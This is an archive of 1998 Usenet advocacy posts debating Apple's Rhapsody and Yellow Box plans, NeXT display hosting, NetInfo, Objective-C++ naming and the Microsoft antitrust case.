References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net>
<6in44d$jt3@bgtnsc01.worldnet.att.net>
<6iomt2$bac$1@ligarius.ultra.net> <6isqdb$pa4$1@interport.net>
<6isudr$39$1@interport.net> <6it4lv$n71$2@cronkite.cygnus.com>
<3552188E.471E@CONVEX.COM> <35531f8a.0@209.136.2.9>
<355346C7.AB5A6546@nstar.net> <6ivmi0$822$1@cronkite.cygnus.com>
<SCOTT.98May8144249@slave.doubleu.com>
<6j7uid$660$1@cronkite.cygnus.com>
In-reply-to: jrudd@cygnus.com's message of 11 May 1998 22:37:01 GMT
In article <6j7uid$660$1@cronkite.cygnus.com>,
jrudd@cygnus.com (John Rudd) writes:
In <SCOTT.98May8144249@slave.doubleu.com> Scott Hess wrote:
> In article <6ivmi0$822$1@cronkite.cygnus.com>,
> The sheepish users aren't innocent. They're as guilty as the
> German citizens who knew what was happening to the Jews and quietly
> allowed it to happen.
>
> Was this a not-so-subtle attempt to cause the thread to implode? This
> is as much of a stretch as the op-ed piece comparing Jerry Springer to
> Pol Pot in a recent San Jose Mercury.
>
It was a combination of things..
<...>
2) running out of patience for people (like Harvard professors)
making claims of the form that if MS doesn't get to release win98
the world will come to screaching halt. (trust me, it wont)
Don't go there - I think too much, and periodically, for lack of
something better to think about, I ponder the value of computing in
general. I always find some way to distract myself, though, because
when it comes right down to it, a _lot_ of what we do in computing
isn't helpful. It's neat, it's fun, it _seems_ helpful, but in the
final analysis it isn't.
Periodically I'll see a very good op-ed type commentary on how the
computerization of society is removing all the friction which allows
us to _relate_. On the surface, I have to agree, but digging down
deeper, I'm not sure I do. What if it turns out that rather than
GUI's and the like being lubricants for economies, the entire thing
turns out to be friction for economies? How can you tell one from the
other? Things _seem_ to move very fast, but what if the fast-moving
things aren't really the important things?
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: NoSpam@flash.net (LShaping)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Thu, 21 May 1998 18:39:09 GMT
Organization: LShaping
Message-ID: <35647489.2709477@news.flash.net>
References: <6ir7p5$nt$4@ligarius.ultra.net> <rmcassid-0705980012000001@dialin33419.slip.uci.edu> <6j2m0f$m0c$3@ligarius.ultra.net> <rmcassid-1105981158230001@dante.eng.uci.edu> <6j9ac3$tnp$1@ligarius.ultra.net> <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <6jqt6a$md2$2@strato.ultra.net> <rmcassid-1905980044070001@dante.eng.uci.edu> <6jrrfp$3e1$2@strato.ultra.net> <tvyd8daun8i.fsf@cn1.connectnet.com> <6jsn3d$3ri$2@gte1.gte.net> <tvy3ee4enaj.fsf@cn1.connectnet.com> <6k1861$vn6$2@strato.ultra.net>
Here is a link to an article from the Washington Post
http://www.washingtonpost.com/wp-srv/WPlate/1998-05/19/136l-051998-idx.html
On Thu, 21 May 1998 08:44:56 -0400, "John Saunders"
<jws@jws.ultranet.com> wrote:
>Darin Johnson wrote in message ...
>>roger@. (Roger ) writes:
>>
>>> >They are not requiring MS to ship Netscape.
>>>
>>> That is exactly what they wanted.
>>
>>From what I read, it was an "allowable option". They're not requiring
>>it (as far as what I read on Tuesday anyway). There are other
>>allowable options, less onerous to MS.
>>
>>> But the OEMs can do that now. Sony and Compaq, for example.
>>
>>All of them? Even a mom-and-pop-will-build-you-a-computer-shop?
>>
>>--
>>Darin Johnson
>>darin@usa.net.delete_me
>
>The only details of what DOJ offered come from MS, as far as I know. If
>anyone has a pointer to what the DOJ says it offered, please post it. Here's
>the MS URL: http://www.microsoft.com/corpinfo/doj/5-18Q&A.htm
>
>John Saunders
>jws@jws.ultranet.com
>
>
>
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy
Subject: Re: OpenStep for Windoze $20?
Date: 21 May 98 11:41:05
Organization: Is a sign of weakness
Message-ID: <SCOTT.98May21114105@slave.doubleu.com>
References: <6jboq5$eua$9@news.idiom.com> <6jchqg$1cc$21@ironhorse.plsys.co.uk>
<slrn6ljskk.p80.sal@panix3.panix.com>
<3559F5D4.96E43F72@unet.univie.ac.at>
<slrn6lkdcp.o39.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
<6jdenk$53h$3@news.xmission.com> <355af7e5.0@206.25.228.5>
<355B49C0.10D34097@unet.univie.ac.at> <355b5409.0@206.25.228.5>
<6jfkuq$gn2$1@cronkite.cygnus.com> <355B6B90.AD8F648F@milestonerdl.com>
In-reply-to: M Rassbach's message of Thu, 14 May 1998 17:09:20 -0500
In article <355B6B90.AD8F648F@milestonerdl.com>,
M Rassbach <mark@milestonerdl.com> writes:
John Rudd wrote:
> Actually, I don't understand why Apple doesn't just invest the
> money and/or programmers into GnuStep to get DGS finished
Apple isn't going to help what competes with them. DGS would help
GnuSTEP and GnuSTEP takes a crown jewel and clones it.
The Apple and NeXT people are either crackerjack designers and coders,
or they aren't. If they are, then it doesn't make a difference
whether they give a leg up for free, if they aren't, then it doesn't
make a difference either.
If Apple invested a couple people and brought DGS up to the speed they
want, and distributed it for free, it's not a big deal. DPS is a
keystone of the Appkit, but it is not _the_ Appkit. Just like NFS is
a keystone of any Unix OS, but there's a lot in there outside of NFS.
In fact, for all that DPS is necessary for the Appkit at this time, a
good argument could be made that it's not that big of a piece of it.
An automobile isn't going anywhere without wheels, but the wheels
aren't where the neat stuff happens,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Date: Thu, 21 May 1998 11:44:31 -0700
Organization: UC Irvine
Message-ID: <rmcassid-2105981144310001@dante.eng.uci.edu>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jchjg$9nl$1@interport.net> <nagleEsxEDn.2M6@netcom.com> <6je7ia$63i$1@crib.bevc.blacksburg.va.us> <6jetcp$623$1@nnrp1.dejanews.com> <355AF80B.B27F01FA@milestonerdl.com> <pxpst2-1405981523500001@pelli.pathology.pitt.edu> <355B3D6F.63A9F50A@milestonerdl.com> <6jn0jk$1cc$60@ironhorse.plsys.co.uk> <355f5464.16260165@news.wam.umd.edu> <Et6CuI.Ctn@midway.uchicago.edu> <stevehix-1805981951020001@ip64.safemail.com> <EtBJA7.24I@midway.uchicago.edu>
In article <EtBJA7.24I@midway.uchicago.edu>, "Jonathan Eric Miller"
<_jemiller@midway.uchicago.edu> wrote:
>Sounds like a monopoly to me.
Not every action taken to reduce or eliminate competition is indicative of
a monopoly. IBM and Mot are perfectly free to make PPC systems for BeOS or
for Linux or for AIX or for NT even. Hell, they could make x86 systems and
possibly have licensed an OS from Apple at the time. Apple was
investigated when they bought out PowerComputing, so things are being
accounted for. If Apple could put forth a case that continuing cloning
would have been financially crippling (an easy case to make after $2B in
losses) then disbanding cloning would be favorably looked upon.
The fact that Apple only has a 4% marketshare helps keep them out of
anti-trust problems. Size does matter in the anti-trust game.
-Bob Cassidy
From: Henry McGilton <henry@trilithon.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.next.misc,comp.sys.next.software
Subject: Re: NXHosting is dead ?
Date: Thu, 21 May 1998 12:01:09 -0700
Organization: Trilithon Research and Trading
Message-ID: <356479F5.7E06ED9@trilithon.com>
References: <6jhivm$22a$1@nnrp1.dejanews.com> <6jhnld$a3v$1@crib.bevc.blacksburg.va.us>
<355C6969.6907242B@trilithon.com> <355CC5FD.CF057A71@nstar.net>
<355DD280.7FCE9175@trilithon.com> <SCOTT.98May18213137@slave.doubleu.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Scott Hess wrote:
<<<< My suggestion about DO and lockFocus snipped >>>>
* Even if it did work - at some level, it's still depending
* on the same underlying support NXHost is depending on.
* I doubt it would work as-is, since this seems like an
* odd configuration to put the extra work in to support,
* but you could probably do it using some add-ons.
* The problem is that the -lockFocus is going as a DO
* message and will actually execute on the remote box,
* but the DPS drawing code will be on the local box, since
* it's not messages to an object. [The "you could probably
* do it" would involve a custom View proxy which arranged
* to redirect DPS drawing to the remote box. Still wouldn't
* handle events, though.]
Whacka Whacka. Thanks for the clarifications, Scott. Sounds
like it would end up as too much work [if it would work at all]
to be useful.
Cheers,
........ Henry
=============================================================
Henry McGilton | Trilithon Software, and,
Boulevardier, Java Composer | Pacific Research and Trading
-----------------------------+-------------------------------
mailto:henry@trilithon.com | http://www.trilithon.com
=============================================================
From: anders@common.se
Newsgroups: comp.sys.next.advocacy
Subject: Re: Debate: Why Rhapsody for Intel would/could be a success?!
Date: Thu, 21 May 1998 19:09:55 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6k1u63$sev$1@nnrp1.dejanews.com>
References: <6jsc2d$cqh$1@msunews.cl.msu.edu> <see-below-1905982104420001@209.24.240.108> <6jttav$lh$1@msunews.cl.msu.edu>
Two advantages of Rhapsody/x86.
Even if Rhapsody/Merced is an Apple objective, that's a *much* bigger project
than is maintaining the current Rhapsody/x86 and adding more drivers at a
reasonable pace. How can the latter be less worth the effort? It will be many
years before Merced machines constitute an OS market comparable to x86. And
even if Apple wants a piece of the Merced market, a supported and working x86
OS (even if it merely breaks even financially) would be their best possible
marketing asset. Creating a Merced OS won't be easier for Apple than for
everyone else, and the marketing will be harder for those not already
established in the Intel hardware world.
The currently announced strategy makes sense only if you expect DoJ to act in
a way that benefits Apple's position, which they may or may not do.
The other advantage of Rhapsody/x86 I'd like to add is that with three YB
platforms (PPC, x86, Windows) it will be harder for Microsoft to break YB
portability. Although Microsoft doesn't control the implementation of the YB/
Win runtime (as opposed to their Java implementation), there are many areas
where other standard libraries and/or conditional compilation are required. If
YB becomes popular, Microsoft can and will provide strategic "extensions",
which means many developers will make no, or at best a lagging, Mac version.
However, even developers with no particular commitment to the Mac will not be
as easily enticed to do this if it means their apps will break not only on
Macs ("Who uses them?") but also on some/many Intel machines.
Therefore, a Microsoft-independent YB on Intel hardware would be a way for
Apple to better control the YB development environment and protect its cross-
platform conformity (which benefits Apple more than anyone else).
/A
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: NSHosting and MacOS X
Date: 21 May 1998 15:16:28 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6k1uic$6dp$1@crib.bevc.blacksburg.va.us>
References: <1d93iik.1l170dz8etsaxN@carina47.wco.com> <01bd80c6$be64d100$a4e82080@mizuki.HIP.Berkeley.EDU> <SCOTT.98May18215210@slave.doubleu.com>
In article <SCOTT.98May18215210@slave.doubleu.com>, scott@doubleu.com (Scott Hess) wrote:
> And _PLEASE_ do not tell me that in order to draw with my advanced
> object-oriented environment, I have to revert to a palpimset
> function-based API,
I've run through all of the words, acronyms, and potential misspellings
I can think of, to no avail. So tell me.. what the heck is "palpimset"??
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 21 May 1998 19:13:07 GMT
Organization: Idiom Communications
Message-ID: <6k1uc3$34b$1@news.idiom.com>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu>
<35586F01.243A7BE3@spamtoNull.com> <6ja6bu$m3n$1@nnrp1.dejanews.com>
<6jaev0$h9c$1@larry.admin.phil.uu.nl> <slrn6lhi7g.mi.jason@jhste1.dyn.ml.org>
<6jbkn1$eua$2@news.idiom.com> <SCOTT.98May20171517@slave.doubleu.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: scott@doubleu.com
Scott Hess may or may not have said:
-> In article <6jbkn1$eua$2@news.idiom.com>,
-> jcr.remove@this.phrase.idiom.com (John C. Randolph) writes:
-> Jason S. may or may not have said:
-> -> Freek Wiedijk posted the following to comp.sys.mac.advocacy:
-> -> >>Rhapsody buggy?
-> ->
-> -> >The blue box is setuid root. That's a _big_ bug.
-> ->
-> -> Why did they do _that_?
->
-> Probably necessary to mount disks.
->
-> That's not a good enough reason, to my mind.
No, it's not, but that's probably why it happened.
-jcr
From: aa829@ccn.cs.dal.ca (Charlie Mingo)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Thu, 21 May 1998 15:28:16 -0400
Organization: PANIX Internet and Unix, NYC
Message-ID: <aa829-2105981528170001@port24.dialb2.gain-ny.com>
References: <ericb-1105981718430001@132.236.171.104> <ericb-1705981603400001@132.236.171.104> <joe.ragosta-1805980747570001@wil100.dol.net> <ericb-1805981357420001@132.236.171.104> <6jpu6k$rps$1@crib.bevc.blacksburg.va.us> <see-below-1805981711480001@209.24.240.36> <ericb-2005981944160001@132.236.171.104>
Mail-Copies-To: always
In article <ericb-2005981944160001@132.236.171.104>, ericb@pobox.com (Eric
Bennett) wrote:
> Who is Bertrand, and can I see this keynote at
> http://isocket.gzx.com/theater.html ? If so, which session is it?
He is Bertrand Serlet, Apple VP for Platform Technologies, who is in
charge of YellowBox development.
The session is #117, Rhapsody and YellowBox in 1998, the second item on
the Tuesday column on that web-page.
At the very end of the Q&A, Bertrand is asked about "the long-term future
of Rhapsody for Intel," and he says...
"We'll continue to do Rhapsody for Intel, and the reason is that we want
to make sure that all the software we have is absolutely cross-platform,
and the best way to make sure it's cross-platform is actually to do it,
because if you don't do it, well, typically it doesn't work. So we will
do that."
Earlier in the session, he made clear that YellowBox on Intel would be
rev-ed to maintain parity with the version of the YellowBox that will be
shipped with MacOS X. He also discussed features that would be added to
Rhapsody beyond version 1.0.
Rgds
--
mingo "at" panix "dot" com
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.next.advocacy,comp.sys.next.misc,comp.sys.next.software
Subject: Re: NXHosting is dead ?
Date: 21 May 1998 19:22:01 GMT
Organization: Idiom Communications
Message-ID: <6k1usp$34b$2@news.idiom.com>
References: <6jhivm$22a$1@nnrp1.dejanews.com> <6jhnld$a3v$1@crib.bevc.blacksburg.va.us>
<355C6969.6907242B@trilithon.com> <355c988e.0@192.33.12.30>
<6jnfkr$qjg$3@news.idiom.com> <SCOTT.98May18212504@slave.doubleu.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: scott@doubleu.com
Scott Hess may or may not have said:
-> In article <6jnfkr$qjg$3@news.idiom.com>,
-> jcr.remove@this.phrase.idiom.com (John C. Randolph) writes:
-> jonathan klein may or may not have said:
-> [...]
-> -> Think of the schools and businesses with hundreds or thousands
-> -> of computers and the two or three administrators who have to
-> -> manage all the machines.
->
-> Right now, I can use Netinfo Manager to get at any machine on a
-> network of OpenStep hosts, and I don't have to use NSHost to do it.
-> Remote administration doesn't depend on display redirection.
->
-> Configure.app.
I haven't seen anyone run Configure.app via NSHost yet. What I typically
see, is if someone has hosed their video setup, they'll reboot with
config=default and run Configure in a 640x480 vga mode.
-> The point being that not all administrative data is in NetInfo, nor
-> should all such data necessarily _be_ in NetInfo, especially data
-> that's seldom constant across a network.
So you put it in a local Netinfo domain. You can make it as local or global
as you want.
-> NetInfo as currently implemented has some scaling problems, and there are
-> problems for which the scaling problems are intrinsic to the problem, not
-> the implementation.
Still? I've seen it working fine for > 4000 hosts. I can't think of
anything that does a better job.
-> What's next, QuickDraw in the kernel?
God forbid.
-jcr
Date: Thu, 21 May 1998 15:35:16 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Message-ID: <joe.ragosta-2105981535160001@wil116.dol.net>
References: <joe.ragosta-2005982127320001@elk106.dol.net> <B188D400-E597F@206.165.43.97>
In article <B188D400-E597F@206.165.43.97>, "Lawson English"
<english@primenet.com> wrote:
> Joe Ragosta <joe.ragosta@dol.net> said:
>
> >
> >MacOS 8 was reported to run unmodified on CHRP machines. So, of all the
> >major vendors, Apple was the only one to ship a product which ran on CHRP.
> >It was also the last to be supporting CHRP.
>
>
>
> Joe, CHRP was just PReP with Mac-isms added. Any OS that ran on PReP would
> run on CHRP. Lots of OS's shipped for PReP.
>
Evidence?
You're saying that changing the controllers on the board have no effect on
the OS?
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: The New Rhapsody (aka Mac OS X)
Date: 21 May 1998 19:34:54 GMT
Organization: Idiom Communications
Message-ID: <6k1vku$34b$4@news.idiom.com>
References: <1d8xs8m.mqho5znnswjkN@amtmtc.demon.co.uk> <6jplnc$kiv$3@brownfox.svs.com>
<maury-1805981757210001@ts32-15.tor.istar.ca> <3563c4fc.0@news.camtech.net.au>
<rmcassid-2105981009430001@dante.eng.uci.edu> <6k187l$giu$6@ns3.vrx.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
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Cc: maury@remove_this.istar.ca
Maury Markowitz may or may not have said:
-> In <rmcassid-2105981009430001@dante.eng.uci.edu> Robert Cassidy claimed:
-> > Well, CNN Interactive and news.com load on OmniWeb on DR2 virtually
-> > instantly, maybe a second - the whole page, all graphics, everything
just
-> > pops up at once - it's *really* impressive.
->
-> Yup. And OmniWeb itself is stunning. When older Mac owners ask you why
-> they should upgrade, show them OW and then watch them ask you to go to
-> www.store.apple.com.
Gee, it really drags when I use it. Of course, I'm using it on a 33Mhz
68040...
-jcr
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Objective C++ (was Re: Infoworld on the Yellow Box's future)
Date: 21 May 1998 19:33:00 GMT
Organization: Idiom Communications
Message-ID: <6k1vhc$34b$3@news.idiom.com>
References: <nospampischke-1905981902030001@pm2-18-2.tor.idirect.com> <nospampischke-1905982350420001@ts7-32t-16.idirect.com>
<35626D26.B7616464@alum.mit.edu> <35633314.0@206.25.228.5>
<6jvcc4$2i5$1@crib.bevc.blacksburg.va.us> <6k07o4$gc0$1@news.digifix.com>
<rmcassid-2105981010440001@dante.eng.uci.edu>
Mime-Version: 1.0
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Cc: rmcassid@uci.edu
Robert Cassidy may or may not have said:
-> In article <6k07o4$gc0$1@news.digifix.com>, sanguish@digifix.com (Scott
-> Anguish) wrote:
->
-> > They syntax issue is resolved. The traditional Objective-C
-> >syntax is staying.
->
-> But are they officially changing the name to Objective-C++? I smell
marketing...
The name of the compiler is "GCC". Now, for quite some time, the NeXT flavor
of that compiler has been able to take both Obj-C, and C++ code in the same
source file, with just a bit of trickiness in declaring symbols. So, the
language that NeXT (Apple)'s compiler can parse is Objective-C++.
Clear?
Don't worry. Just quit using C++, it sucks.
-jcr
From: Greg_Anderson@afs.com (Gregory H. Anderson)
Newsgroups: comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: NSHosting and MacOS X
Date: 21 May 1998 19:38:00 GMT
Organization: Anderson Financial Systems Inc.
Message-ID: <6k1vqo$itb@shelob.afs.com>
References: <6k1uic$6dp$1@crib.bevc.blacksburg.va.us>
Nathan Urban writes
> In article <SCOTT.98May18215210@slave.doubleu.com>, scott@doubleu.com
(Scott Hess) wrote:
>
> > And _PLEASE_ do not tell me that in order to draw with my advanced
> > object-oriented environment, I have to revert to a palpimset
> > function-based API,
>
> I've run through all of the words, acronyms, and potential misspellings
> I can think of, to no avail. So tell me.. what the heck is
> "palpimset"??
I believe Scott meant to say "palimpsest", which according to Webster
is "writing material (as a parchment or tablet) used one or more times
after earlier writing has been erased".
Sometimes Monsieur Hess's erudition exceeds his orthography. 8^)
--
Gregory H. Anderson | "We're in the land of the blind,
Visionary Ophthalmologist | selling working eyeballs, and they
Anderson Financial Systems | balk at the choice of color." -- Tony
greg@afs.com (NeXTmail OK) | Lovell, on Mac user reactions to NeXT
From: tsivertsen@mail.c2i.net (Thomas Sivertsen)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,alt.windows95,comp.os.ms-windows.advocacy
Subject: Re: APPLE is forcing best os in the world into obscurity!!
Date: Thu, 21 May 1998 21:52:57 +0200
Organization: Smurfetryne
Message-ID: <199805212152571422641@[193.216.37.99]>
References: <6jt7tt$enb$1@newsfep4.sprintmail.com> <joe.ragosta-1905982053010001@elk125.dol.net> <01bd8395$ec6d6540$4b620218@ci746489-a.nash1.tn.home.com> <6jthl9$hfu$1@news.digifix.com> <6jtmso$6cj$1@news12.ispnews.com>
Zico <ZicoKnows@hotmail.com> wrote:
> x-no-archive: yes
>
> Scott Anguish wrote:
>
> >Robb wrote:
[SNIP]
> >
> > If you want this to change, you have to DO something about it.
>
He`s right, you know.
>
> Scott, it's not going to change. This is Apple, and the more
> successful that Rhaptel is, the more that the Apple's hardware
> group will work to kill it. It's a no-win situation. It can die a
> quiet death, or it can actually do well in its 1.0 version and
> make the Apple hardware guys freak out. Either way, it is
> going to die. You're best off spending your time making the
> best code you can now, targeting it at MacOS or YB for MacOS
> and Windows. Trying to get Apple to change their mind on
> this is just going to distract from your coding efforts and
> make you frustrated.
>
> Z
Apple has changed. It`s no longer any damaging competition between the
different departments. For instance, the h/w division is currently lead
by a former NeXT guy, Jon Rubinstein, s/w is lead by another NeXTie,
Avie Tevanian... Apple want to be a business, so they want business
arguments for continuing Rhapsody/Intel, not some stupid rivalvry
between divisions...
That`s where doing something comes in. If you know big corps who would
actually want to switch (around Q2 `99), or a lot of people who would
want to use it, why not tell `em? If they can make money of it, they
will continue development on the best os there is (at least for some
tasks...).
Cheers, Thomas Sivertsen
From: tsivertsen@mail.c2i.net (Thomas Sivertsen)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,alt.windows95,comp.os.ms-windows.advocacy
Subject: Re: APPLE is forcing best os in the world into obscurity!!
Date: Thu, 21 May 1998 21:52:59 +0200
Organization: Smurfetryne
Message-ID: <199805212152591422764@[193.216.37.99]>
References: <6jt7tt$enb$1@newsfep4.sprintmail.com> <joe.ragosta-1905982053010001@elk125.dol.net> <6jtlb0$dc7$3@nntp2.ba.best.com>
MR_boxster <mr_boxster@nospam_yahoo.com> wrote:
> In article <joe.ragosta-1905982053010001@elk125.dol.net>,
> joe.ragosta@dol.net (Joe Ragosta) wrote: >In article
> <6jt7tt$enb$1@newsfep4.sprintmail.com>, macghod@concentric.net > wrote: >
>
> >
> >It was a bad decision, but not the disaster you're implying. Since
> >they'll be able to run YB on NT or Win9x, they can use YB without buying
> >new hardware.
> >
>
> Yes it is bad. You running on top of another OS layer; relying on its
> services.
Anything running on top of NT will have to deal with NT, which is very
bad...although implementations differ.
> If that is the case Why would anyone run YB when they could run OpenNT and
> get a real Unix layer on NT and run NT applications.. Because of OpenNT,
> this was one of the main reasons why the AirForce decided to go with NT.
> Their old Unix apps worked on cheaper NT boxes (which you so much like to
> talk about---- had lower TCO than their previous Unix Workstations).
YB has got nothing to do with UNIX. It`s an API and application layer
that was implemented on top of a Mach kernel and BSD, then it was ported
to NT. That is a world of difference. NeXT actually knew how to build a
portable solution.
> OpenNT is shipping, It exist. Its Here. YB is just another applicaton on
> top of an existing OS. Rhapsody, a real unix environment have have better
> built-in unix interoperablity than YB.. Does Apple plan to offer NFS in
> YB? They should. Can One "telnet from their NT machine at home to another
> YB on NT at the office?"
Read the above... BTW; telnet is "built-in" on NT... There are also many
NFS implementations on NT (even free I think). OpenNT is no solution if
you want real UNIX, just if you want some sort of compatibility and you
are willing to compromise. It`s a migration tool, PERIOD.
There are better alternatives than telnet, btw. Check out NSHosting...
Cheers, Thomas Sivertsen
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.next.misc,comp.sys.next.software
Subject: Re: NXHosting is dead ?
Date: 21 May 1998 19:19:25 GMT
Organization: NETworthy
Distribution: world
Message-ID: <6k1unt$4ft@nrtphc11.bnr.ca>
References: <6jmvs5$1cc$59@ironhorse.plsys.co.uk> <SCOTT.98May18212504@slave.doubleu.com> <SCOTT.98May18213137@slave.doubleu.com>
Mime-Version: 1.0
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In article <6jq71q$e4$1@amdint.amd.com> , raketenschelm@hotmail.com
writes:
>Please, look around: There's the big company out there, that badly tries to
>improve
>an unsuited, underdeveloped mainstream operating system with multi user
>support
>and display redirection (code named Hydra) and what does Apple do?
>It takes an existing, well designed, working system and cripple it to be what
>WindowsNT 4.0 is.
Bingo. MSFT is pulling out all the stops to add this to WinNT, and Apple
is killing the same feature?
Yuch!
Matthew Cromer matthew_cromer@iname.com
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: STEPWISE and Scott Kudos
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
References: <355c8968.0@206.25.228.5> <6ji9ht$dtq$1@xmission.xmission.com> <6jjo21$n53$9@news.idiom.com> <6jphq0$nl$1@walter.cs.umd.edu> <6jpkuo$lm6$1@news.idiom.com> <SCOTT.98May20172809@slave.doubleu.com>
Message-ID: <3564862d.0@news.depaul.edu>
Date: 21 May 98 19:53:17 GMT
In comp.sys.next.advocacy Scott Hess <scott@doubleu.com> wrote:
> But what will you do about:
> @implementation Media
> ...
> - mediaWithClue:anObj
> {
> return nil;
> }
> ...
> @end
Did you mean the convenience factory method:
@implementation Media
+ mediaWithClue
{
return nil;
}
@end
?
--
"... and subpoenas for all." - Ken Starr
From: graham@red40_nospam.com (Graham Barron)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Thu, 21 May 1998 16:00:08 -0400
Organization: Red No.40
Message-ID: <graham-2105981600080001@poptart.red40.com>
References: <ericb-1105981718430001@132.236.171.104> <ericb-1505981832560001@132.236.171.104> <6jij5k$bgm$1@crib.bevc.blacksburg.va.us> <ericb-1705981606110001@132.236.171.104> <6jnioc$q2s$1@crib.bevc.blacksburg.va.us> <ericb-1805981403350001@132.236.171.104>
> The fact that Apple has bothered to test YB on the Windows betas is
> certainly reassuring, although I still don't see what Apple has to gain by
> not making their support for the x86 public. (Whereas I do see what they
> have to gain by hiding the fact that they intend to slowly phase it out.)
Apple has lots to gain by not making their x86 support public:
1. They do not send out a signal that it's okay to buy x86 products, but
rather signal that the only way to guarantee forward compatibility is to
buy PPC. This is good for their bottom line.
2. They don't alert the DOJ that there will be a new, serious OS
competitor on Microsoft's home turf. It's quite possible that the DOJ
could do something serious to Microsoft, like break up the company, and
that would be very beneficial to Apple.
3. Apple may have additional plans, such as building Intel hardware (x86
and Merced), and running Carbon on MacOSX/Intel. It's very important for
several reasons that they not announce these plans early. For one thing,
it would suppress PPC hardware sales. For another, it would tip off PC
boxmaker competitors.
My belief is that, regardless of what Apple says, they have a serious plan
to invade x86/Merced territory at some point, but they're waiting for the
right time to announce their invasion.
Graham
From: NoSpam@flash.net (LShaping)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" "We are innovation"
Date: Thu, 21 May 1998 20:00:15 GMT
Organization: LShaping
Message-ID: <35648349.6487009@news.flash.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <6in44d$jt3@bgtnsc01.worldnet.att.net> <6iomt2$bac$1@ligarius.ultra.net> <6isqdb$pa4$1@interport.net> <6isudr$39$1@interport.net> <6it4lv$n71$2@cronkite.cygnus.com> <3552188E.471E@CONVEX.COM> <35531f8a.0@209.136.2.9> <355346C7.AB5A6546@nstar.net> <6ivmi0$822$1@cronkite.cygnus.com> <SCOTT.98May8144249@slave.doubleu.com> <6j7uid$660$1@cronkite.cygnus.com> <SCOTT.98May20165902@slave.doubleu.com>
<SNIP>
> 2) running out of patience for people (like Harvard professors)
> making claims of the form that if MS doesn't get to release win98
> the world will come to screaching halt. (trust me, it wont)
>
>Don't go there - I think too much, and periodically, for lack of
>something better to think about, I ponder the value of computing in
>general. I always find some way to distract myself, though, because
>when it comes right down to it, a _lot_ of what we do in computing
>isn't helpful. It's neat, it's fun, it _seems_ helpful, but in the
>final analysis it isn't.
<SNIP>
>Scott Hess
Many things we do are trivial, but as with computing, we have the
vision to know that someday these things will be extremely important.
The average computer user is feeding the technology and enjoying it.
A lot of what *you* do in computing isn't helpful, but what some of
the rest of us do in computing is necessary, even critical. Which
brings up an interesting point about the Microsososoft suit. When
AT&T was our only long distance carrier, to whom did it matter? The
average home telephone might not gain much with choice of long
distance carriers, but to a business, it can mean life or death.
LShaping.
From: Michael Peck <MJPECK@CONVEX.COM>
